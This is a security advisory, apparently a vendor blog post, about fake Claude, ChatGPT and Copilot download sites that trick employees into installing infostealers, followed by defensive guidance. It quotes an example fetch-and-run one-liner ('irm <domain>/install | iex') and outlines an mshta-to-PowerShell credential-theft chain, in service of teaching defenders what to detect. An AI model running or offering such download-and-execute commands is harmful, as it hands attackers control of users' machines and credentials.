Fake Claude, ChatGPT and Copilot Sites Are Delivering Infostealers to Businesses

Attackers have found a reliable way into corporate networks: get employees to install their "AI assistant." Researchers at sandbox vendor ANY.RUN say they tied 1,258 public sandbox analyses between April and October 2026 to campaigns that impersonate popular AI tools, including Claude, ChatGPT, GitHub Copilot and Gemini. According to their data, the United States accounted for about 16% of country-attributed targets, second only to India.

What happened

These campaigns rely on trust more than on technical sophistication. In the flow the researchers describe:

1. The lure. A victim reaches a fake page through a sponsored search ad, a poisoned search result, a shared AI chat link or an email invite.
2. A convincing clone. The page copies an official download or documentation page and is sometimes hosted on legitimate platforms such as GitLab or GitHub, so URL reputation alone won't flag it.
3. One of three traps:
   • "Paste this command": the page tells the user to install the tool by pasting a one-liner into Win+R, PowerShell or Terminal (for example irm <domain>/install | iex).
   • A trojanised installer that installs the real app as cover.
   • A fake sign-in window (browser-in-the-browser) that sends credentials straight to the attacker.
4. Loader → payload. mshta.exe or PowerShell fetches the next stage, usually an infostealer, a browser-cookie stealer or a remote-access trojan.

In one analysed case, the "Windows download" button on a fake Claude page copied a command to the clipboard. When the user ran it, the command launched mshta.exe, pulled a malicious HTA file and started an encoded PowerShell chain that harvested credentials stored in the browser. A related fake "Copilot CLI" page used the same irm | iex pattern.

Why it matters

• The user starts the attack. No exploit is needed, and the activity looks like a normal software install.
• It lives off the land. The chain runs on built-in Windows tools (mshta, PowerShell), and the malicious payload appears only after several stages.
• Indicators expire quickly. Domains, hosting and impersonated brands rotate constantly, but the behaviour stays the same: suspicious install one-liners, mshta execution, encoded download commands, and scheduled tasks that launch browsers to steal sessions.
• The impact reaches the whole business. Stolen session cookies can lead to SaaS takeover even where MFA is in place. Other outcomes include leaked source code and cloud keys, ad-account fraud, and access resold to ransomware crews.

What to do

• Publish an approved AI-tools list with official download sources, and block or alert on unapproved "AI installer" downloads.
• Train staff on one rule: a legitimate vendor will never ask you to paste a command into Win+R or PowerShell to install their app. Treat any page that does as hostile.
• Detect behaviour, not just domains. Alert on mshta.exe making network connections, on PowerShell using iex/Invoke-Expression with remote content or encoded commands, and on scheduled tasks that launch browsers.
• Harden endpoints. Restrict or disable mshta.exe where it isn't needed, enable PowerShell Constrained Language Mode and script-block logging, and use ASR rules and application control.
• Protect sessions as well as passwords. Prefer phishing-resistant MFA (FIDO2/passkeys), shorten session lifetimes for critical SaaS, and bind tokens to devices where your platform supports it.
• Respond as if sessions are compromised. If an infostealer runs, revoke all active sessions and tokens, rotate saved and cloud credentials, and review recent SaaS and code-repository activity.
• Watch for brand abuse in ads. Users should open AI tools from bookmarks or official app stores, not from sponsored search results.

4Tify can map your exposed attack surface and help you check whether your controls would catch this kind of user-initiated attack chain.

Based on research by ANY.RUN, as reported by The Hacker News.